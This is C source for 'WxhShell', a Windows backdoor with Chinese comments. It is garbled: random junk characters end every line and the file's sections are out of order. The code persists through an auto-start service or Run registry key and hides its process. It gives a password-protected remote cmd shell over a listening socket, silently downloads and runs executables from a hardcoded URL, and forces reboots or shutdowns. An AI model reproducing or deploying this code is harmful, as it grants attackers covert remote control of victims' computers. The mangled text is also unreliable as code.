    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZL%VOxYqi  
    if(Boot(SHUTDOWN)) C ?H{CP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V,QwN&  
    else { p/|(,)'+jx  
    closesocket(wsh); 2eok@1  
    ExitThread(0); v@T'7?s.  
    } vC9@,[  
    break; +cfziQ$'  
    } hWGZd~L  
  // 获取shell gOE_ ]  
  case 's': { gM_:l  
    CmdShell(wsh); {HZS:AV0  
    closesocket(wsh); zS% m_,t  
    ExitThread(0); Fu0.~w  
    break; b%0BkS*  
  } ^!>.97*   
  // 退出 (5Ky6b9v  
  case 'x': { r7X D&Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); INLf#  N  
    CloseIt(wsh); \ sf!  
    break; e`DsP8-&v  
    } ^!@*P,'I  
  // 离开 H2\1gNL  
  case 'q': { sX'U|)/pD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1*R_"#  
    closesocket(wsh); 1=TSJ2{ 9  
    WSACleanup(); MTB@CP!u  
    exit(1); ATO 5  
    break; nGZ \<-  
        } Ff/Ig]Lb  
  } x*mc -&N  
  } )y\BY8  
3}M \c)  
  // 提示信息 5!:._TcO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RV]a%mVlM  
} n2 na9dX)w  
  } [a D:A  
xT+ ;w[s  
  return; Z}f^qc+  
} C5B=NAc  
Dh8(HiXf:  
// shell模块句柄 -M`D >  
int CmdShell(SOCKET sock) XWF7#xM  
{ Rkr^Z?/GH  
STARTUPINFO si; 1nXqi)&?;  
ZeroMemory(&si,sizeof(si)); {_ 6t4h}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QJM(UfHUD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (wlfMiO  
PROCESS_INFORMATION ProcessInfo; r03I*b  
char cmdline[]="cmd"; ho|  8U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '^lUL) R  
  return 0; `wV|q~  
} 4^MSX+zt  
^^Bm$9  
// 自身启动模式 Uf[T_  
int StartFromService(void) F(G<* lA  
{ 3#<'[TF00t  
typedef struct y"Ihr5S\  
{ 9C1b^^Kb  
  DWORD ExitStatus; ^(m0M$Wk*  
  DWORD PebBaseAddress; {*nEKPq(_*  
  DWORD AffinityMask; _3KZME  
  DWORD BasePriority; z qO$  
  ULONG UniqueProcessId; Lkp&;+  
  ULONG InheritedFromUniqueProcessId; .='3bQ(UZ4  
}   PROCESS_BASIC_INFORMATION; `&G}  
johmJLC  
PROCNTQSIP NtQueryInformationProcess; L+(C5L93}  
xrX?ZJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dwk$CJb3-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /\TlO.B=  
rN'.&;Y5  
  HANDLE             hProcess; 7zi"caY  
  PROCESS_BASIC_INFORMATION pbi; -Cml0}.O   
V[To,f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yg|l?d"  
  if(NULL == hInst ) return 0; $KH@,;Xz  
wC(XRqlE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0JrK/Ma3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eTT^KqE>&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +Gp!cGaAm  
xf[z EEt  
  if (!NtQueryInformationProcess) return 0; 6HB]T)n  
A@\qoS[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bd.Z+#%l"  
  if(!hProcess) return 0; Yo@m50s$  
]zy~@,\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U"/yB8!W  
,?t}NZY&  
  CloseHandle(hProcess); nxf {PbHk  
;4R =eI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HUD7{6}4  
if(hProcess==NULL) return 0; mC% %)F'Zf  
<?nB,U  
HMODULE hMod; +i_'gDy$  
char procName[255]; *u<rU,C8  
unsigned long cbNeeded; giQ{Xrj  
h<Jc;ht  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tu7+LwF7  
=]WW'~  
  CloseHandle(hProcess); @-}D7?  
$8EV, 9^U  
if(strstr(procName,"services")) return 1; // 以服务启动 91U^o8y  
IsWcz+1n  
  return 0; // 注册表启动 ^#}dPGm  
} [U% .Gi  
ef^Cc)S-Q  
// 主模块 1mY+0  
int StartWxhshell(LPSTR lpCmdLine) 0I(uddG3  
{ ntDRlX  
  SOCKET wsl; %GNUnr$  
BOOL val=TRUE; Z={D0`  
  int port=0; [..,(  
  struct sockaddr_in door; xcAF  
V@ LN 1|  
  if(wscfg.ws_autoins) Install(); `WP@ZSC6  
0,;E.Py?.  
port=atoi(lpCmdLine); d*]Dv,#X  
d'x<- l9  
if(port<=0) port=wscfg.ws_port; %H 8A=  
)PsN_ 42~  
  WSADATA data; =W;t@"6>2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TEH*@~P"  
N)9pz?*V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oqm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L`<T'3G  
  door.sin_family = AF_INET; `wP/Zp{Hy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <Gbn PG?  
  door.sin_port = htons(port); jc${.?m  
._8xY$l$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E1$Hu{  
closesocket(wsl); o+]Y=r2  
return 1; CpUI|Rs  
} g5lmUKlQ$0  
\f8P`oET~  
  if(listen(wsl,2) == INVALID_SOCKET) { 6ctHL<^  
closesocket(wsl); I rtF4ia.  
return 1; yS1b,cxz  
} ORV}j, Ym  
  Wxhshell(wsl); V%X:1 8j  
  WSACleanup(); c^i"}2+  
3bT6W, J4T  
return 0; [[";1l  
m1~qaD<DZ$  
} fW_}!`:  
d~togTs1  
// 以NT服务方式启动 yYxeNE"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5`1(}  
{ */0vJz%<.M  
DWORD   status = 0; B[) [fE  
  DWORD   specificError = 0xfffffff; ^yEj]]6  
aF; ]7i@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &CB.*\0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hqhu^.}]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1qB!RIau  
  serviceStatus.dwWin32ExitCode     = 0; h,!G7V  
  serviceStatus.dwServiceSpecificExitCode = 0; wGov|[X  
  serviceStatus.dwCheckPoint       = 0; dv1x 78xG>  
  serviceStatus.dwWaitHint       = 0; +cPE4(d  
\Owful  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nG4Uk2>  
  if (hServiceStatusHandle==0) return; yFPaWW  
8o8b'tW^  
status = GetLastError(); b7W=HR  
  if (status!=NO_ERROR) v!pj v%  
{ l|R<F;|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y V 9]_k  
    serviceStatus.dwCheckPoint       = 0; Z@>=&  
    serviceStatus.dwWaitHint       = 0; 7- *( a  
    serviceStatus.dwWin32ExitCode     = status; }[=xe(4]D  
    serviceStatus.dwServiceSpecificExitCode = specificError; I =tyQ`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =!pu+&I 9  
    return; /pAm8vK   
  } J1gEjd   
%2rHvF=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =sUl`L+w,L  
  serviceStatus.dwCheckPoint       = 0; /ZIJ<#o[  
  serviceStatus.dwWaitHint       = 0; '[M^f+H|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H|rX$P  
}  uu WY4j6  
 K$37}S5  
// 处理NT服务事件,比如:启动、停止 o+"0.B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t?du+:  
{ S|RpA'n  
switch(fdwControl) A4 A6F<  
{ ] dm1Qm  
case SERVICE_CONTROL_STOP: U- *8%>Qp  
  serviceStatus.dwWin32ExitCode = 0; W|r+J8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^LEmi1L  
  serviceStatus.dwCheckPoint   = 0; P/C+L[X=  
  serviceStatus.dwWaitHint     = 0; Q}=W>|aE.  
  { jE?\Yv3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$L],q_S^  
  } |5<& r]xN  
  return; /A[oj2un  
case SERVICE_CONTROL_PAUSE: *D09P%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HX /GLnY/X  
  break; NSxPN:  
case SERVICE_CONTROL_CONTINUE: $tt0D?$4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oqd N5+xt  
  break; AihL>a%  
case SERVICE_CONTROL_INTERROGATE: qmue!Fv#g  
  break; 3j=%De  
}; =jV%O$Fx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQk#  
} *1o+o$hY2  
n ]6 0  
// 标准应用程序主函数 v0hfY   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .5KC'?  
{ xM'S ;Sg  
},Y; (n'  
// 获取操作系统版本 (IWix){  
OsIsNt=GetOsVer(); FVC2XxP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <*r<+S   
}{kTh%^  
  // 从命令行安装 aG8D%i0  
  if(strpbrk(lpCmdLine,"iI")) Install(); q563,s  
?2;n=&ZM  
  // 下载执行文件 g~^{-6Vg  
if(wscfg.ws_downexe) { ot>EnHfV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [oU+b(  
  WinExec(wscfg.ws_filenam,SW_HIDE); yf#%)-7(  
} M::IE|h  
C)KtM YA,  
if(!OsIsNt) { e??{&[  
// 如果时win9x,隐藏进程并且设置为注册表启动 /|u]Y/ *  
HideProc(); [K)1!KK,L  
StartWxhshell(lpCmdLine); c~L6fvS  
} -t~B@%  
else }N#>q.M  
  if(StartFromService()) _iboTcUF  
  // 以服务方式启动 |3<ehvKy  
  StartServiceCtrlDispatcher(DispatchTable); uuUVE/^V'  
else ev: !,}]w  
  // 普通方式启动 ,~j$rs`Z  
  StartWxhshell(lpCmdLine); evmEX<N  
wD?=u\% &  
return 0; |jaY[_ .@  
} n;k97>m${x  
J6["j   
q*y9/HnI  
M9 2~iM  
=========================================== J! 6z  
|b-Zy~6  
ad$Qs3)6o  
P15 *VPy  
%oCjZ"ke  
J_wz'eIb0  
" oCdOC5  
_ !^FW%  
#include <stdio.h> DCt:EhC  
#include <string.h>  > ^v8N  
#include <windows.h> n8OdRv  
#include <winsock2.h> w)m0Z4*  
#include <winsvc.h> 9-E>n)  
#include <urlmon.h> UQf>5g  
QV H'06 "{  
#pragma comment (lib, "Ws2_32.lib") s-N?Tzi  
#pragma comment (lib, "urlmon.lib") 9;v"bc Q  
V+a%,sI  
#define MAX_USER   100 // 最大客户端连接数 i{FC1tVeL_  
#define BUF_SOCK   200 // sock buffer 9hs{uxwuEE  
#define KEY_BUFF   255 // 输入 buffer zs&`:  
hv:Z%D |S  
#define REBOOT     0   // 重启 ep}/dBg  
#define SHUTDOWN   1   // 关机 bq6{ty"  
e>zk3\D!  
#define DEF_PORT   5000 // 监听端口 X.AOp  
!Ub?eJp  
#define REG_LEN     16   // 注册表键长度 ~Ro:mH: w  
#define SVC_LEN     80   // NT服务名长度 UH^wyK bM  
+#I~#CV!  
// 从dll定义API '5,,XhP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +heS\I_Mp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qM:)daS1w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]>4Qs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Nlm4*{h  
!zkEh9G  
// wxhshell配置信息 F+$@3[Q`N  
struct WSCFG { @[b:([  
  int ws_port;         // 监听端口 ty< tv|p  
  char ws_passstr[REG_LEN]; // 口令 OYtus7q<  
  int ws_autoins;       // 安装标记, 1=yes 0=no y yR8VO{  
  char ws_regname[REG_LEN]; // 注册表键名 _}D?+x,C8  
  char ws_svcname[REG_LEN]; // 服务名 Dw ;vDK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4b(irDT3F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mjvso0zj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iCSM1W3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YTPmS\ H _  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B*iz+"H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @"0N@gU  
K<w5[E9V.  
}; >hL'#;:f#  
FHcqu_;J  
// default Wxhshell configuration .x$T a l  
struct WSCFG wscfg={DEF_PORT, /~rO2]rZ@  
    "xuhuanlingzhe", DPxu3,Y  
    1, BG8)bh k;/  
    "Wxhshell", 0o=)&%G  
    "Wxhshell", Z%9^6kdY  
            "WxhShell Service", dVt@D&  
    "Wrsky Windows CmdShell Service", =XBXSW8)DJ  
    "Please Input Your Password: ", x-#9i  
  1, ftqW3VW  
  "http://www.wrsky.com/wxhshell.exe", R:R@sU  
  "Wxhshell.exe" -*q2Y^A^l  
    }; bfI -!,  
u R%R]X  
// 消息定义模块 Jo(}#_y?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l(#Y8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %y\7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nJ#@W b@  
char *msg_ws_ext="\n\rExit."; E0Y/N?  
char *msg_ws_end="\n\rQuit."; h_G7T1;L  
char *msg_ws_boot="\n\rReboot..."; (dip Ks?K  
char *msg_ws_poff="\n\rShutdown..."; ,h`D(,?X  
char *msg_ws_down="\n\rSave to "; t RyGxqiG  
6Vzc:8o>  
char *msg_ws_err="\n\rErr!"; $q$\GOQ 9  
char *msg_ws_ok="\n\rOK!"; . _t,OX$  
+sluu!~  
char ExeFile[MAX_PATH]; RR[TW;  
int nUser = 0; X$&Sw3c  
HANDLE handles[MAX_USER]; *B<I><'G  
int OsIsNt; ~+nSI-L  
*3 8Y;{ 4  
SERVICE_STATUS       serviceStatus; |#jm=rT0y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a4.: i  
[=1?CD  
// 函数声明 Msu2OF *x  
int Install(void); +&zCmkVC7  
int Uninstall(void); ye7&y4v+  
int DownloadFile(char *sURL, SOCKET wsh); 1sLfjH hv  
int Boot(int flag); nJ})6/gK  
void HideProc(void); j2qfEvU  
int GetOsVer(void); .u;TeP  
int Wxhshell(SOCKET wsl); 9k^=m)yS'  
void TalkWithClient(void *cs); iC+H;s5<  
int CmdShell(SOCKET sock); "wC5hj]  
int StartFromService(void); a&VJ YAB  
int StartWxhshell(LPSTR lpCmdLine); OYp8r  
fDHISJv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wSyu^KDz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qTMz6D!Q  
ujqktrhuLb  
// 数据结构和表定义 W1`ZS*12D  
SERVICE_TABLE_ENTRY DispatchTable[] = BvR3Oi@Wc  
{ ~2}ICU5  
{wscfg.ws_svcname, NTServiceMain}, ~MQf($]  
{NULL, NULL} Q%1;{5   
}; TC#B^m`'p  
2U+p@}cQUA  
// 自我安装 Ol[IC  
int Install(void) <!(n5y_  
{ CHw_?#h  
  char svExeFile[MAX_PATH]; O~ 0 1)%  
  HKEY key; #p`7gFl  
  strcpy(svExeFile,ExeFile); , tj7'c$0  
9d}nyJ  
// 如果是win9x系统,修改注册表设为自启动 [te7 uZv-  
if(!OsIsNt) { 5g2+Ar(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1H 6Wrik  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kDa#yN\  
  RegCloseKey(key); +rP<m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :8wF0n-'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !`=?<Fl  
  RegCloseKey(key); "a{f? .X.  
  return 0; becQ5w/~  
    } Cjk AQ(9  
  } ;<<IXXKU  
} FRk_xxe"K  
else { Tic9r i  
6&0a?Xu  
// 如果是NT以上系统,安装为系统服务 B[X6A Qj}d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); to=##&ld<  
if (schSCManager!=0) i}"JCqo2  
{ D}3fx[  
  SC_HANDLE schService = CreateService x,_Ucc.  
  ( |YFlJ2w  
  schSCManager, uhLm yK  
  wscfg.ws_svcname, bC-x`a@  
  wscfg.ws_svcdisp, 2Hwf:S'  
  SERVICE_ALL_ACCESS, a8aqcDs>O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #8OqX*/  
  SERVICE_AUTO_START, 4O^1gw  
  SERVICE_ERROR_NORMAL, r=aQ S5  
  svExeFile, ^D[;JV  
  NULL, k>hZ  
  NULL, k8V0-.UL}  
  NULL, Wh_c<E}&  
  NULL, CI'5JOqP  
  NULL  E/;YhFb[  
  ); \c}r6xOr  
  if (schService!=0) j=S"KVp9NF  
  { y<(.,Nb8  
  CloseServiceHandle(schService); ;f~'7RKy!G  
  CloseServiceHandle(schSCManager); %TgM-F,8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Bw"VN]W  
  strcat(svExeFile,wscfg.ws_svcname); _Z2)e*(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { # t Ki6u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,_zt? o\  
  RegCloseKey(key); Mv =;+?z!  
  return 0; \s'6)_  
    } ?0Zw ^a  
  } _ 0E,@[  
  CloseServiceHandle(schSCManager); xII!2.  
} ]XyJ7esg  
} So`"z[5  
R&xd ic!  
return 1; g XMkI$ab  
} *2;3~8Y  
L 3@wdC ~0  
// 自我卸载 c= u ORt>  
int Uninstall(void) )wd~639U  
{ +ETw:i9!?  
  HKEY key; C\D4C]/8  
=x>k:l~s  
if(!OsIsNt) { a@J :*W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B.#0kjA}  
  RegDeleteValue(key,wscfg.ws_regname); u*`GIRfWT  
  RegCloseKey(key); 9t1_"{'N1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 74#@F{w  
  RegDeleteValue(key,wscfg.ws_regname); Lp=B? H  
  RegCloseKey(key); Qpq0j^\  
  return 0; ^XVa!s,d  
  } $*R9LPpk+  
} ZrS!R[  
} .Oh$sma1  
else { yl%F<5  
E@KK\m \e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lUd,-  
if (schSCManager!=0) hd-ds~ve  
{ "(qO}&b>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); my6T@0R  
  if (schService!=0) (eP)>G]  
  { H1M>60*  
  if(DeleteService(schService)!=0) { WgB,,L,  
  CloseServiceHandle(schService); owhht98y(  
  CloseServiceHandle(schSCManager); Rim}DfO/  
  return 0; gEu\X|7'  
  } \O~7X0 <W  
  CloseServiceHandle(schService); _P:P5H8  
  } *p^MAk9=  
  CloseServiceHandle(schSCManager); Xy +|D#b  
} B#yyO>0k]  
} {r)M@@[  
,P+&-}gn9  
return 1; is$d<Y&F  
} m<4Lo0?nS  
ZxW V ,s&p  
// 从指定url下载文件 Op{Mc$5a  
int DownloadFile(char *sURL, SOCKET wsh) $@Fj_ N  
{ ."O(Ig[  
  HRESULT hr; ,e,{6Sg6gl  
char seps[]= "/"; )Be;Zw.|  
char *token; R?Qou!*]  
char *file; ZlzFmNe60  
char myURL[MAX_PATH]; O"Q=66.CR  
char myFILE[MAX_PATH]; [geY:v_B  
CiSG=obw  
strcpy(myURL,sURL); xj<SnrrC]u  
  token=strtok(myURL,seps); f WXzK<  
  while(token!=NULL) P.Bk-#}$  
  { tG-MC&;=  
    file=token; 2RCnk&u  
  token=strtok(NULL,seps); Y'T#  
  } p pq#5t^[)  
6BnjT  
GetCurrentDirectory(MAX_PATH,myFILE); q8J/tw?%v  
strcat(myFILE, "\\"); W+E2({  
strcat(myFILE, file); &AVi4zV  
  send(wsh,myFILE,strlen(myFILE),0); qz&)|~,\C  
send(wsh,"...",3,0); 3^Y-P8.zdB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $B2@mC([S  
  if(hr==S_OK) RZZB?vx  
return 0; P}jr 8Z  
else |Th{*IJ <,  
return 1; K2QD&!4/T2  
By9/tB  
} `*a,8M%  
i]v!o$7  
// 系统电源模块 .uP$M(?j  
int Boot(int flag) o&zV8DE_v  
{ jX%Q  
  HANDLE hToken; ~ocr^V{"<~  
  TOKEN_PRIVILEGES tkp; wHmEt ORo  
__M}50^  
  if(OsIsNt) { sAb|]Q((  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` T!O )5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bQ%^l#H_n'  
    tkp.PrivilegeCount = 1; OX"`VE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; };*5+XY^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]%."  
if(flag==REBOOT) { &Lw| t_y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [o~w>,a  
  return 0; ,<BTv;4p  
} ?6Gq &  
else { 8c9_=8vw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &Ru6Yt0W  
  return 0; Dz?F,g_  
} _?ym,@} #  
  } Z+?j8(:n  
  else { MAXdgL[]  
if(flag==REBOOT) { Z8x(_ft5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C9h8d   
  return 0; S(Pal/-"  
} ;8@A7`^  
else { o|+tRl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F~B8XUa3  
  return 0; Ah,Zm4:  
} i[<O@Rb  
} 6Z$T& Ul{  
[;(| ^0  
return 1; `{ /tx!  
} y& )z\8  
>g?,BK@  
// win9x进程隐藏模块 Q_dFZ  
void HideProc(void) P|\,kw>l  
{ Y4_i=}\*vf  
5XhV+t g.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r~sGot+sQA  
  if ( hKernel != NULL ) p"T4;QBxQ  
  { G*QQpSp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gC 4w&yL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4l|Am3vzX  
    FreeLibrary(hKernel); mp#5V c  
  } ,=mn*  
43eGfp'  
return; gnv4.f:  
} [L8gG.wy  
~&pk</Dl  
// 获取操作系统版本 GcKJpI\sB  
int GetOsVer(void) eaI&DP  
{ *}?^)z7w  
  OSVERSIONINFO winfo; MV/JZ;55  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g$< @!  
  GetVersionEx(&winfo); R}0c O^V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /XXW4_>  
  return 1; <Z vG&  
  else =q._Qsj?fu  
  return 0; o5)U3U1|  
} A`@we  
f.,-KIiF  
// 客户端句柄模块 ]`MRH[{  
int Wxhshell(SOCKET wsl) { "/@,!9rJ  
{ ;{>z\6N  
  SOCKET wsh; gAE}3//  
  struct sockaddr_in client; eC1cE  
  DWORD myID; '{J!5x?L^  
#hai3>9|B  
  while(nUser<MAX_USER) Hi ?],5,/  
{ E_h9y  
  int nSize=sizeof(client); $, =n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k -SUp8}g  
  if(wsh==INVALID_SOCKET) return 1; Dr;@)  
 ~d }-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L<E`~\C'  
if(handles[nUser]==0) bNqjjg  
  closesocket(wsh); _-EHG  
else t+vn.X+&  
  nUser++; q* m%Fv  
  } W2n%D& PE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "xh]>_;&'  
~<|xS  
  return 0; 2LgRgY{Bl  
} ~oOOCB  
TfJB;  
// 关闭 socket }C)   
void CloseIt(SOCKET wsh) s|q B;  
{ N&=,)d~M  
closesocket(wsh); Gs-'  
nUser--; \ Xuu|]  
ExitThread(0); j88H3bi0  
} 7)[4|I  
LaLA }1!  
// 客户端请求句柄 I@[.W!w  
void TalkWithClient(void *cs) )2\6 Fy0S  
{ N 4Dyec\  
u%&zY97/  
  SOCKET wsh=(SOCKET)cs; w;X-i.%`  
  char pwd[SVC_LEN]; C[~b6 UP  
  char cmd[KEY_BUFF]; gvz&ppcG  
char chr[1]; sB /*gO  
int i,j; 5^tL#  
YncY_Hu  
  while (nUser < MAX_USER) { bj7v<G|Y  
L8!xn&uyP=  
if(wscfg.ws_passstr) { Wvcj\2'yd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R,tR{| 8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wWwY .}j  
  //ZeroMemory(pwd,KEY_BUFF); KaOS!e'  
      i=0; HmQuRW  
  while(i<SVC_LEN) { Y,?rykRj  
-[ F<u  
  // 设置超时 N>VA`+aFR  
  fd_set FdRead; Q~uj:A]n<  
  struct timeval TimeOut; Dtelr=/s  
  FD_ZERO(&FdRead); Nk]r2^.z[  
  FD_SET(wsh,&FdRead); [t,7H  
  TimeOut.tv_sec=8; W| ~Ehg  
  TimeOut.tv_usec=0; U{HJNftdpm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sHKT]^7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ca-|G'q  
1J^{h5?lU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -p9|l%W  
  pwd=chr[0]; g,9o'fs`x  
  if(chr[0]==0xd || chr[0]==0xa) { J8(v65  
  pwd=0; l 4(-yWC$H  
  break; {ImZ><xe/  
  } 7j{SCE;  
  i++; J}lBK P:-*  
    } Z5\u9E"]  
Zs)HzOP)9  
  // 如果是非法用户,关闭 socket kyz_r6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5^[V%4y>  
} WG< D+P  
y1f&+y9e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zZseK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sJ!AI n<  
/O+,vRw\A  
while(1) { ><5tnBP|+L  
WM:we*k8h  
  ZeroMemory(cmd,KEY_BUFF); r=<,`_@Y  
~- JkuRJ\  
      // 自动支持客户端 telnet标准   03[(dRK>=  
  j=0; P)ZGNtO9fG  
  while(j<KEY_BUFF) { K5'@$Km  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W~FcU+a  
  cmd[j]=chr[0]; .\qZkk}2l  
  if(chr[0]==0xa || chr[0]==0xd) { <[kdF")  
  cmd[j]=0; rs'~' Y  
  break; %6HDLG6@^}  
  } 6 C;??Y>b  
  j++; vY:A7yGW  
    } h9RG?r1  
vfm |?\  
  // 下载文件 pzHN:9r  
  if(strstr(cmd,"http://")) { U!TFFkX[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]xb R:CYJ  
  if(DownloadFile(cmd,wsh)) (?D47^F &  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$H{|[  
  else 1]m]b4]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {088j?[hzk  
  } %jim] ]<S[  
  else { Fz~-m#Ts  
R"VmN2  
    switch(cmd[0]) { H5{d;L1[  
  SX$v&L<  
